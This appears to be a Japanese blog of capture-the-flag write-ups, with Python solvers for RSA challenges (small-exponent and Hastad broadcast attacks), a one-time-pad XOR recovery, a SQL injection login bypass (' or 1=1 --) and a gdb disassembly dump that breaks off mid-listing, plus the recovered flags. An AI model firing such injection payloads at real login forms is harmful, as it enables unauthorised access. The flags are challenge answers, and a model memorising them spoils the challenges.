 "$$(    R$$e$$R    )$$"
  "$8oeeo. "*" .oeeo8$"
  .$$#"""*$i i$*"""#$$.
  9$" @*c $$ $$F @*c $N
  9$  NeP $$ $$L NeP $$
  `$$uuuuo$$ $$uuuuu$$"
  x$P**$$P*$"$P#$$$*R$L
 x$$   #$k #$F :$P` '#$i
 $$     #$  #  $$     #$k
d$"     '$L   x$F     '$$
$$      '$E   9$>      9$>
$6       $F   ?$>      9$>
$$      d$    '$&      8$
"$k    x$$     !$k    :$$
 #$b  u$$L      9$b.  $$"
 '#$od$#$$u....u$P$Nu@$"
 ..?$R)..?R$$$$*"  #$P
 $$$$$$$$$$$$$$@WWWW$NWWW
 `````""3$F""""#$F"""""""
        @$.... '$B
       d$$$$$$$$$$:
       ````````````


HOOOOOOOOOO Goes there? Do you have the password?
> CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r? 
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}

[Baby] RSA (CRYPTO)

eが小さく、Nが大きいため、Low Public Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

e = 3
ct = 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717

m = gmpy.root(ct, e)[0]
flag = long_to_bytes(m)
print flag

復号結果は以下の通り。

short_and_to_the_point
flag{short_and_to_the_point}

[Baby] Meadows (CRYPTO)

seedが設定されているので、ランダム値がわかる。あとは逆算していけばよい。

import random
from Crypto.Util.number import *

random.seed(0x1337)

with open('out-d5123fb523dc13ee5ffd01ba2ab51d90.txt', 'r') as f:
    enc = eval(f.read())

g = enc[0][0]
p = enc[0][1]

flag = ''
for c in enc[1:]:
    m = (c * inverse(pow(g, random.randrange(2, p - 1), p), p)) % p
    flag += chr(m)

print flag
CCC{f13ld5_4nd_1nv3rs3s}

[Baby] CRT RSA (CRYPTO)

RSA暗号のeが3で、3つのn, cのペアがある。Hastad's Broadcast Attackで復号する。

import functools
from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    assert pow(m, e) == c
    return m

e = 3

n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587

n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403 

n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951 

ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801

ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889

ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394
 
N = [n_1, n_2, n_3]
C = [ct_1, ct_2, ct_3]
a = chinese_remainder(N, C)
for n, c in zip(N, C):
    assert a % n == c
m = inv_pow(a, e)
flag = long_to_bytes(m)
print flag

復号結果は以下の通り。

That there is such a thing as raw, unalloyed, agendaless kindness. That it is possible to fall asleep during an anxiety attack. That concentrating on anything is very hard work. flag{infi_nite_jes_t}
flag{infi_nite_jes_t}

THC CTF 2021 Writeup

この大会は2021/6/12 16:00(JST)~2021/6/13 23:00(JST)に開催されました。
今回もチームで参戦。結果は1453点で374チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Intro)

Discordに入り、#-reglesチャネルのトピックを見ると、フラグが書いてあった。

THCon21{H31l0_th3re!}

My first one time pad (Intro)

ファイル全体からXOR鍵を算出し、それをplaintext.txtに書いてある暗号に適用し、復号する。

with open('plaintext.txt', 'r') as f:
    pt = f.read().rstrip()

with open('encrypted.txt', 'r') as f:
    ct = f.read().rstrip().decode('hex')

flag_enc = pt.split(' ')[-1].decode('hex')

key = ''
for i in range(len(ct)):
    key += chr(ord(pt[i]) ^ ord(ct[i]))

flag = ''
for i in range(len(flag_enc)):
    flag += chr(ord(flag_enc[i]) ^ ord(key[i]))
print flag
FLAG: THCon21{1Tp_w0rK3_0nly_0nC3}

SQL for dummies (Intro)

Usernameに以下を入力して、[Log In]をクリックすると、フラグが表示された。

' or 1=1 --
THCon21{eA3y*QL_1nject0R}

ELF x64 - Right on Time (reverse)

$ gdb -q ./chall.bin
Reading symbols from ./chall.bin...(no debugging symbols found)...done.
gdb-peda$ set arg 1
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x5555555551c9 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x555555555cc0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf40 --> 0x7fffffffe28e ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdf28 --> 0x7fffffffe271 ("/mnt/hgfs/Shared/chall.bin")
RDI: 0x2 
RBP: 0x555555555cc0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde48 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x5555555551c9 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x5555555550e0 (<_start>:	endbr64)
R13: 0x7fffffffdf20 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555551b9 <__do_global_dtors_aux+57>:	nop    DWORD PTR [rax+0x0]
   0x5555555551c0 <frame_dummy>:	endbr64 
   0x5555555551c4 <frame_dummy+4>:	
    jmp    0x555555555140 <register_tm_clones>
=> 0x5555555551c9 <main>:	endbr64 
   0x5555555551cd <main+4>:	push   rbp
   0x5555555551ce <main+5>:	mov    rbp,rsp
   0x5555555551d1 <main+8>:	sub    rsp,0x1e0
   0x5555555551d8 <main+15>:	mov    DWORD PTR [rbp-0x1d4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde48 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde50 --> 0x2 
0016| 0x7fffffffde58 --> 0x7fffffffdf28 --> 0x7fffffffe271 ("/mnt/hgfs/Shared/chall.bin")
0024| 0x7fffffffde60 --> 0x200008000 
0032| 0x7fffffffde68 --> 0x5555555551c9 (<main>:	endbr64)
0040| 0x7fffffffde70 --> 0x0 
0048| 0x7fffffffde78 --> 0xbd29ce94164043c6 
0056| 0x7fffffffde80 --> 0x5555555550e0 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00005555555551c9 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x00005555555551c9 <+0>:	endbr64 
   0x00005555555551cd <+4>:	push   rbp
   0x00005555555551ce <+5>:	mov    rbp,rsp
   0x00005555555551d1 <+8>:	sub    rsp,0x1e0
   0x00005555555551d8 <+15>:	mov    DWORD PTR [rbp-0x1d4],edi
   0x00005555555551de <+21>:	mov    QWORD PTR [rbp-0x1e0],rsi
   0x00005555555551e5 <+28>:	mov    rax,QWORD PTR fs:0x28
   0x00005555555551ee <+37>:	mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551f2 <+41>:	xor    eax,eax
   0x00005555555551f4 <+43>:	mov    BYTE PTR [rbp-0x16],0x0
   0x00005555555551f8 <+47>:	mov    BYTE PTR [rbp-0x100],0x0
   0x00005555555551ff <+54>:	mov    BYTE PTR [rbp-0x130],0x34
   0x0000555555555206 <+61>:	mov    BYTE PTR [rbp-0x7b],0x2a
   0x000055555555520a <+65>:	mov    BYTE PTR [rbp-0xaa],0x70
   0x0000555555555211 <+72>:	mov    BYTE PTR [rbp-0x62],0x6a
   0x0000555555555215 <+76>:	mov    BYTE PTR [rbp-0x5a],0x34
   0x0000555555555219 <+80>:	mov    BYTE PTR [rbp-0x7f],0x44
   0x000055555555521d <+84>:	mov    BYTE PTR [rbp-0x168],0x35
   0x0000555555555224 <+91>:	mov    BYTE PTR [rbp-0x95],0x49
   0x000055555555522b <+98>:	mov    BYTE PTR [rbp-0x1b9],0x37
   0x0000555555555232 <+105>:	mov    BYTE PTR [rbp-0x7c],0x3e
   0x0000555555555236 <+109>:	mov    BYTE PTR [rbp-0x134],0x35
   0x000055555555523d <+116>:	mov    BYTE PTR [rbp-0xca],0x54
   0x0000555555555244 <+123>:	mov    BYTE PTR [rbp-0xde],0x59
   0x000055555555524b <+130>:	mov    BYTE PTR [rbp-0x17a],0x35
   0x0000555555555252 <+137>:	mov    BYTE PTR [rbp-0x16f],0x37
   0x0000555555555259 <+144>:	mov    BYTE PTR [rbp-0xce],0x68
   0x0000555555555260 <+151>:	mov    BYTE PTR [rbp-0x80],0x7b
   0x0000555555555264 <+155>:	mov    BYTE PTR [rbp-0x7d],0x6b
   0x0000555555555268 <+159>:	mov    BYTE PTR [rbp-0x9a],0x3e
   0x000055555555526f <+166>:	mov    BYTE PTR [rbp-0xb6],0x78
   0x0000555555555276 <+173>:	mov    BYTE PTR [rbp-0xe8],0x75
   0x000055555555527d <+180>:	mov    BYTE PTR [rbp-0x151],0x30
   0x0000555555555284 <+187>:	mov    BYTE PTR [rbp-0x180],0x34
   0x000055555555528b <+194>:	mov    BYTE PTR [rbp-0xb1],0x58
   0x0000555555555292 <+201>:	mov    BYTE PTR [rbp-0x92],0x77
   0x0000555555555299 <+208>:	mov    BYTE PTR [rbp-0x34],0x29
   0x000055555555529d <+212>:	mov    BYTE PTR [rbp-0x67],0x29
   0x00005555555552a1 <+216>:	mov    BYTE PTR [rbp-0x11d],0x35
   0x00005555555552a8 <+223>:	mov    BYTE PTR [rbp-0x13a],0x35
   0x00005555555552af <+230>:	mov    BYTE PTR [rbp-0x139],0x37
   0x00005555555552b6 <+237>:	mov    BYTE PTR [rbp-0x190],0x34
   0x00005555555552bd <+244>:	mov    BYTE PTR [rbp-0x9d],0x28
   0x00005555555552c4 <+251>:	mov    BYTE PTR [rbp-0x125],0x37
   0x00005555555552cb <+258>:	mov    BYTE PTR [rbp-0xbf],0x76
   0x00005555555552d2 <+265>:	mov    BYTE PTR [rbp-0x1a6],0x35
   0x00005555555552d9 <+272>:	mov    BYTE PTR [rbp-0x5c],0x3e
   0x00005555555552dd <+276>:	mov    BYTE PTR [rbp-0x199],0x35
   0x00005555555552e4 <+283>:	mov    BYTE PTR [rbp-0x10f],0x38
   0x00005555555552eb <+290>:	mov    BYTE PTR [rbp-0xd4],0x38
   0x00005555555552f2 <+297>:	mov    BYTE PTR [rbp-0x60],0x24
   0x00005555555552f6 <+301>:	mov    BYTE PTR [rbp-0x119],0x36
   0x00005555555552fd <+308>:	mov    BYTE PTR [rbp-0x1af],0x37
   0x0000555555555304 <+315>:	mov    BYTE PTR [rbp-0x1ad],0x39
   0x000055555555530b <+322>:	mov    BYTE PTR [rbp-0x61],0x7b
   0x000055555555530f <+326>:	mov    BYTE PTR [rbp-0x1a8],0x35
   0x0000555555555316 <+333>:	mov    BYTE PTR [rbp-0x117],0x35
   0x000055555555531d <+340>:	mov    BYTE PTR [rbp-0xc2],0x6d
   0x0000555555555324 <+347>:	mov    BYTE PTR [rbp-0x31],0x31
   0x0000555555555328 <+351>:	mov    BYTE PTR [rbp-0x13b],0x39
   0x000055555555532f <+358>:	mov    BYTE PTR [rbp-0x96],0x63
   0x0000555555555336 <+365>:	mov    BYTE PTR [rbp-0x149],0x37
   0x000055555555533d <+372>:	mov    BYTE PTR [rbp-0x17b],0x39
   0x0000555555555344 <+379>:	mov    BYTE PTR [rbp-0x8e],0x70
   0x000055555555534b <+386>:	mov    BYTE PTR [rbp-0x8f],0x64
   0x0000555555555352 <+393>:	mov    BYTE PTR [rbp-0xd1],0x42
   0x0000555555555359 <+400>:	mov    BYTE PTR [rbp-0xc7],0x50
   0x0000555555555360 <+407>:	mov    BYTE PTR [rbp-0x186],0x35
   0x0000555555555367 <+414>:	mov    BYTE PTR [rbp-0xd6],0x2a
   0x000055555555536e <+421>:	mov    BYTE PTR [rbp-0x159],0x35
   0x0000555555555375 <+428>:	mov    BYTE PTR [rbp-0x84],0x64
   0x000055555555537c <+435>:	mov    BYTE PTR [rbp-0x55],0x62
   0x0000555555555380 <+439>:	mov    BYTE PTR [rbp-0x184],0x35
   0x0000555555555387 <+446>:	mov    BYTE PTR [rbp-0xb0],0x7a
   0x000055555555538e <+453>:	mov    BYTE PTR [rbp-0x1c0],0x34
   0x0000555555555395 <+460>:	mov    BYTE PTR [rbp-0x17e],0x34
   0x000055555555539c <+467>:	mov    BYTE PTR [rbp-0x5b],0x34
   0x00005555555553a0 <+471>:	mov    BYTE PTR [rbp-0xe2],0x36
   0x00005555555553a7 <+478>:	mov    BYTE PTR [rbp-0xcf],0x4f
   0x00005555555553ae <+485>:	mov    BYTE PTR [rbp-0x41],0x78
   0x00005555555553b2 <+489>:	mov    BYTE PTR [rbp-0x173],0x34
   0x00005555555553b9 <+496>:	mov    BYTE PTR [rbp-0x1bf],0x42
   0x00005555555553c0 <+503>:	mov    BYTE PTR [rbp-0x1a],0x2e
   0x00005555555553c4 <+507>:	mov    BYTE PTR [rbp-0x6a],0x74
   0x00005555555553c8 <+511>:	mov    BYTE PTR [rbp-0x19e],0x35
   0x00005555555553cf <+518>:	mov    BYTE PTR [rbp-0xef],0x6e
   0x00005555555553d6 <+525>:	mov    BYTE PTR [rbp-0x18f],0x41
   0x00005555555553dd <+532>:	mov    BYTE PTR [rbp-0x1a2],0x35
   0x00005555555553e4 <+539>:	mov    BYTE PTR [rbp-0x9e],0x4d
   0x00005555555553eb <+546>:	mov    BYTE PTR [rbp-0x32],0x58
   0x00005555555553ef <+550>:	mov    BYTE PTR [rbp-0x1b6],0x35
   0x00005555555553f6 <+557>:	mov    BYTE PTR [rbp-0x21],0x61
   0x00005555555553fa <+561>:	mov    BYTE PTR [rbp-0xe9],0x34
   0x0000555555555401 <+568>:	mov    BYTE PTR [rbp-0x19a],0x34
   0x0000555555555408 <+575>:	mov    BYTE PTR [rbp-0x15c],0x34
   0x000055555555540f <+582>:	mov    BYTE PTR [rbp-0x1b5],0x32
   0x0000555555555416 <+589>:	mov    BYTE PTR [rbp-0x1e],0x62
   0x000055555555541a <+593>:	mov    BYTE PTR [rbp-0x163],0x42
   0x0000555555555421 <+600>:	mov    BYTE PTR [rbp-0x51],0x3f
   0x0000555555555425 <+604>:	mov    BYTE PTR [rbp-0xa6],0x77
   0x000055555555542c <+611>:	mov    BYTE PTR [rbp-0x26],0x2d
   0x0000555555555430 <+615>:	mov    BYTE PTR [rbp-0x104],0x33
   0x0000555555555437 <+622>:	mov    BYTE PTR [rbp-0x16d],0x36
   0x000055555555543e <+629>:	mov    BYTE PTR [rbp-0x145],0x37
   0x0000555555555445 <+636>:	mov    BYTE PTR [rbp-0x114],0x35
   0x000055555555544c <+643>:	mov    BYTE PTR [rbp-0x36],0x75
   0x0000555555555450 <+647>:	mov    BYTE PTR [rbp-0x25],0x33
   0x0000555555555454 <+651>:	mov    BYTE PTR [rbp-0x148],0x35
   0x000055555555545b <+658>:	mov    BYTE PTR [rbp-0xec],0x43
   0x0000555555555462 <+665>:	mov    BYTE PTR [rbp-0x11b],0x32
   0x0000555555555469 <+672>:	mov    BYTE PTR [rbp-0x192],0x35
   0x0000555555555470 <+679>:	mov    BYTE PTR [rbp-0xd8],0x68
   0x0000555555555477 <+686>:	mov    BYTE PTR [rbp-0xe4],0x7d
   0x000055555555547e <+693>:	mov    BYTE PTR [rbp-0x185],0x37
   0x0000555555555485 <+700>:	mov    BYTE PTR [rbp-0x16c],0x34
   0x000055555555548c <+707>:	mov    BYTE PTR [rbp-0x1b7],0x31
   0x0000555555555493 <+714>:	mov    BYTE PTR [rbp-0xba],0x2f
   0x000055555555549a <+721>:	mov    BYTE PTR [rbp-0x13f],0x43
   0x00005555555554a1 <+728>:	mov    BYTE PTR [rbp-0x6e],0x36
   0x00005555555554a5 <+732>:	mov    BYTE PTR [rbp-0x17f],0x44
   0x00005555555554ac <+739>:	mov    BYTE PTR [rbp-0xc4],0x2e
   0x00005555555554b3 <+746>:	mov    BYTE PTR [rbp-0x189],0x35
   0x00005555555554ba <+753>:	mov    BYTE PTR [rbp-0x12f],0x42
   0x00005555555554c1 <+760>:	mov    BYTE PTR [rbp-0x12d],0x35
   0x00005555555554c8 <+767>:	mov    BYTE PTR [rbp-0x33],0x63
   0x00005555555554cc <+771>:	mov    BYTE PTR [rbp-0x164],0x34
   0x00005555555554d3 <+778>:	mov    BYTE PTR [rbp-0xd0],0x60
   0x00005555555554da <+785>:	mov    BYTE PTR [rbp-0x138],0x35
   0x00005555555554e1 <+792>:	mov    BYTE PTR [rbp-0x169],0x35
   0x00005555555554e8 <+799>:	mov    BYTE PTR [rbp-0x49],0x24
   0x00005555555554ec <+803>:	mov    BYTE PTR [rbp-0xd2],0x40
   0x00005555555554f3 <+810>:	mov    BYTE PTR [rbp-0x14a],0x35
   0x00005555555554fa <+817>:	mov    BYTE PTR [rbp-0x118],0x34
   0x0000555555555501 <+824>:	mov    BYTE PTR [rbp-0x19b],0x43
   0x0000555555555508 <+831>:	mov    BYTE PTR [rbp-0x8b],0x3b
   0x000055555555550f <+838>:	mov    BYTE PTR [rbp-0x71],0x60
   0x0000555555555513 <+842>:	mov    BYTE PTR [rbp-0x16e],0x34
   0x000055555555551a <+849>:	mov    BYTE PTR [rbp-0xdf],0x71
   0x0000555555555521 <+856>:	mov    BYTE PTR [rbp-0x187],0x31
   0x0000555555555528 <+863>:	mov    BYTE PTR [rbp-0x6d],0x4d
   0x000055555555552c <+867>:	mov    BYTE PTR [rbp-0x42],0x42
   0x0000555555555530 <+871>:	mov    BYTE PTR [rbp-0x5d],0x74
   0x0000555555555534 <+875>:	mov    BYTE PTR [rbp-0x44],0x5b
   0x0000555555555538 <+879>:	mov    BYTE PTR [rbp-0x54],0x7b
   0x000055555555553c <+883>:	mov    BYTE PTR [rbp-0x123],0x34
   0x0000555555555543 <+890>:	mov    BYTE PTR [rbp-0x1a4],0x34
   0x000055555555554a <+897>:	mov    BYTE PTR [rbp-0x78],0x5a
   0x000055555555554e <+901>:	mov    BYTE PTR [rbp-0xdd],0x26
   0x0000555555555555 <+908>:	mov    BYTE PTR [rbp-0xe5],0x5a
   0x000055555555555c <+915>:	mov    BYTE PTR [rbp-0xe6],0x56
   0x0000555555555563 <+922>:	mov    BYTE PTR [rbp-0x1a5],0x34
   0x000055555555556a <+929>:	mov    BYTE PTR [rbp-0xa2],0x76
   0x0000555555555571 <+936>:	mov    BYTE PTR [rbp-0x153],0x43
   0x0000555555555578 <+943>:	mov    BYTE PTR [rbp-0xb3],0x6d
   0x000055555555557f <+950>:	mov    BYTE PTR [rbp-0xa3],0x6e
   0x0000555555555586 <+957>:	mov    BYTE PTR [rbp-0x1bc],0x34
   0x000055555555558d <+964>:	mov    BYTE PTR [rbp-0x142],0x34
   0x0000555555555594 <+971>:	mov    BYTE PTR [rbp-0x8a],0x4d
   0x000055555555559b <+978>:	mov    BYTE PTR [rbp-0xbc],0x75
   0x00005555555555a2 <+985>:	mov    BYTE PTR [rbp-0x2c],0x5a
   0x00005555555555a6 <+989>:	mov    BYTE PTR [rbp-0x1ab],0x32
   0x00005555555555ad <+996>:	mov    BYTE PTR [rbp-0x82],0x61
   0x00005555555555b4 <+1003>:	mov    BYTE PTR [rbp-0x69],0x28
   0x00005555555555b8 <+1007>:	mov    BYTE PTR [rbp-0x18b],0x42
   0x00005555555555bf <+1014>:	mov    BYTE PTR [rbp-0xad],0x65
   0x00005555555555c6 <+1021>:	mov    BYTE PTR [rbp-0x24],0x5e
   0x00005555555555ca <+1025>:	mov    BYTE PTR [rbp-0x17d],0x35
   0x00005555555555d1 <+1032>:	mov    BYTE PTR [rbp-0x121],0x42
   0x00005555555555d8 <+1039>:	mov    BYTE PTR [rbp-0x3c],0x35
   0x00005555555555dc <+1043>:	mov    BYTE PTR [rbp-0x107],0x44
   0x00005555555555e3 <+1050>:	mov    BYTE PTR [rbp-0x105],0x44
   0x00005555555555ea <+1057>:	mov    BYTE PTR [rbp-0x9c],0x4c
   0x00005555555555f1 <+1064>:	mov    BYTE PTR [rbp-0x135],0x36
   0x00005555555555f8 <+1071>:	mov    BYTE PTR [rbp-0x122],0x34
   0x00005555555555ff <+1078>:	mov    BYTE PTR [rbp-0x183],0x33
   0x0000555555555606 <+1085>:	mov    BYTE PTR [rbp-0xed],0x49
   0x000055555555560d <+1092>:	mov    BYTE PTR [rbp-0x12b],0x41
   0x0000555555555614 <+1099>:	mov    BYTE PTR [rbp-0xc1],0x6f
   0x000055555555561b <+1106>:	mov    BYTE PTR [rbp-0x106],0x33
   0x0000555555555622 <+1113>:	mov    BYTE PTR [rbp-0x115],0x33
   0x0000555555555629 <+1120>:	mov    BYTE PTR [rbp-0x19],0x20
   0x000055555555562d <+1124>:	mov    BYTE PTR [rbp-0x79],0x6e
   0x0000555555555631 <+1128>:	mov    BYTE PTR [rbp-0x156],0x35
   0x0000555555555638 <+1135>:	mov    BYTE PTR [rbp-0xbd],0x43
   0x000055555555563f <+1142>:	mov    BYTE PTR [rbp-0xab],0x50
   0x0000555555555646 <+1149>:	mov    BYTE PTR [rbp-0x2f],0x58
   0x000055555555564a <+1153>:	mov    BYTE PTR [rbp-0x162],0x34
   0x0000555555555651 <+1160>:	mov    BYTE PTR [rbp-0x40],0x24
   0x0000555555555655 <+1164>:	mov    BYTE PTR [rbp-0x161],0x35
   0x000055555555565c <+1171>:	mov    BYTE PTR [rbp-0xeb],0x45
   0x0000555555555663 <+1178>:	mov    BYTE PTR [rbp-0x43],0x2d
   0x0000555555555667 <+1182>:	mov    BYTE PTR [rbp-0x191],0x31
   0x000055555555566e <+1189>:	mov    BYTE PTR [rbp-0x10e],0x35
   0x0000555555555675 <+1196>:	mov    BYTE PTR [rbp-0x45],0x5a
   0x0000555555555679 <+1200>:	mov    BYTE PTR [rbp-0x12e],0x33
   0x0000555555555680 <+1207>:	mov    BYTE PTR [rbp-0xae],0x35
   0x0000555555555687 <+1214>:	mov    BYTE PTR [rbp-0x193],0x34
   0x000055555555568e <+1221>:	mov    BYTE PTR [rbp-0x63],0x7d
   0x0000555555555692 <+1225>:	mov    BYTE PTR [rbp-0xee],0x2a
   0x0000555555555699 <+1232>:	mov    BYTE PTR [rbp-0x1b3],0x34
   0x00005555555556a0 <+1239>:	mov    BYTE PTR [rbp-0x7e],0x31
   0x00005555555556a4 <+1243>:	mov    BYTE PTR [rbp-0x126],0x35
   0x00005555555556ab <+1250>:	mov    BYTE PTR [rbp-0x194],0x34
   0x00005555555556b2 <+1257>:	mov    BYTE PTR [rbp-0x16],0x36
   0x00005555555556b6 <+1261>:	mov    BYTE PTR [rbp-0xdc],0x78
   0x00005555555556bd <+1268>:	mov    BYTE PTR [rbp-0x3f],0x56
   0x00005555555556c1 <+1272>:	mov    BYTE PTR [rbp-0x17],0x48
   0x00005555555556c5 <+1276>:	mov    BYTE PTR [rbp-0x1a9],0x38
   0x00005555555556cc <+1283>:	mov    BYTE PTR [rbp-0x77],0x5a
   0x00005555555556d0 <+1287>:	mov    BYTE PTR [rbp-0x7a],0x6c
   0x00005555555556d4 <+1291>:	mov    BYTE PTR [rbp-0x11f],0x43
   0x00005555555556db <+1298>:	mov    BYTE PTR [rbp-0xc5],0x51
   0x00005555555556e2 <+1305>:	mov    BYTE PTR [rbp-0x72],0x78
   0x00005555555556e6 <+1309>:	mov    BYTE PTR [rbp-0xb2],0x37
   0x00005555555556ed <+1316>:	mov    BYTE PTR [rbp-0x15b],0x42
   0x00005555555556f4 <+1323>:	mov    BYTE PTR [rbp-0x1b2],0x34
   0x00005555555556fb <+1330>:	mov    BYTE PTR [rbp-0x171],0x32
   0x0000555555555702 <+1337>:	mov    BYTE PTR [rbp-0x94],0x49
   0x0000555555555709 <+1344>:	mov    BYTE PTR [rbp-0xd5],0x5a
   0x0000555555555710 <+1351>:	mov    BYTE PTR [rbp-0x87],0x2b
   0x0000555555555717 <+1358>:	mov    BYTE PTR [rbp-0x14b],0x39
   0x000055555555571e <+1365>:	mov    BYTE PTR [rbp-0x165],0x34
   0x0000555555555725 <+1372>:	mov    BYTE PTR [rbp-0x1ac],0x33
   0x000055555555572c <+1379>:	mov    BYTE PTR [rbp-0x89],0x55
   0x0000555555555733 <+1386>:	mov    BYTE PTR [rbp-0x20],0x6f
   0x0000555555555737 <+1390>:	mov    BYTE PTR [rbp-0x6b],0x53
   0x000055555555573b <+1394>:	mov    BYTE PTR [rbp-0x6f],0x3e
   0x000055555555573f <+1398>:	mov    BYTE PTR [rbp-0x1b1],0x33
   0x0000555555555746 <+1405>:	mov    BYTE PTR [rbp-0x150],0x34
   0x000055555555574d <+1412>:	mov    BYTE PTR [rbp-0xcd],0x45
   0x0000555555555754 <+1419>:	mov    BYTE PTR [rbp-0x1bd],0x41
   0x000055555555575b <+1426>:	mov    BYTE PTR [rbp-0xc0],0x3e
   0x0000555555555762 <+1433>:	mov    BYTE PTR [rbp-0x15a],0x35
   0x0000555555555769 <+1440>:	mov    BYTE PTR [rbp-0x111],0x31
   0x0000555555555770 <+1447>:	mov    BYTE PTR [rbp-0x13e],0x34
   0x0000555555555777 <+1454>:	mov    BYTE PTR [rbp-0x70],0x5d
   0x000055555555577b <+1458>:	mov    BYTE PTR [rbp-0x124],0x35
   0x0000555555555782 <+1465>:	mov    BYTE PTR [rbp-0xb7],0x53
   0x0000555555555789 <+1472>:	mov    BYTE PTR [rbp-0x16b],0x32
   0x0000555555555790 <+1479>:	mov    BYTE PTR [rbp-0x52],0x49
   0x0000555555555794 <+1483>:	mov    BYTE PTR [rbp-0x14d],0x35
   0x000055555555579b <+1490>:	mov    BYTE PTR [rbp-0x127],0x42
   0x00005555555557a2 <+1497>:	mov    BYTE PTR [rbp-0x1b8],0x35
   0x00005555555557a9 <+1504>:	mov    BYTE PTR [rbp-0x1aa],0x34
   0x00005555555557b0 <+1511>:	mov    BYTE PTR [rbp-0x1b],0x57
   0x00005555555557b4 <+1515>:	mov    BYTE PTR [rbp-0x11e],0x34
   0x00005555555557bb <+1522>:	mov    BYTE PTR [rbp-0x23],0x21
   0x00005555555557bf <+1526>:	mov    BYTE PTR [rbp-0xc8],0x7c
   0x00005555555557c6 <+1533>:	mov    BYTE PTR [rbp-0xa1],0x4d
   0x00005555555557cd <+1540>:	mov    BYTE PTR [rbp-0x101],0x44
   0x00005555555557d4 <+1547>:	mov    BYTE PTR [rbp-0x46],0x21
   0x00005555555557d8 <+1551>:	mov    BYTE PTR [rbp-0xac],0x42
   0x00005555555557df <+1558>:	mov    BYTE PTR [rbp-0xa8],0x6b
   0x00005555555557e6 <+1565>:	mov    BYTE PTR [rbp-0x11c],0x33
   0x00005555555557ed <+1572>:	mov    BYTE PTR [rbp-0x47],0x55
   0x00005555555557f1 <+1576>:	mov    BYTE PTR [rbp-0x5f],0x66
   0x00005555555557f5 <+1580>:	mov    BYTE PTR [rbp-0x6c],0x2d
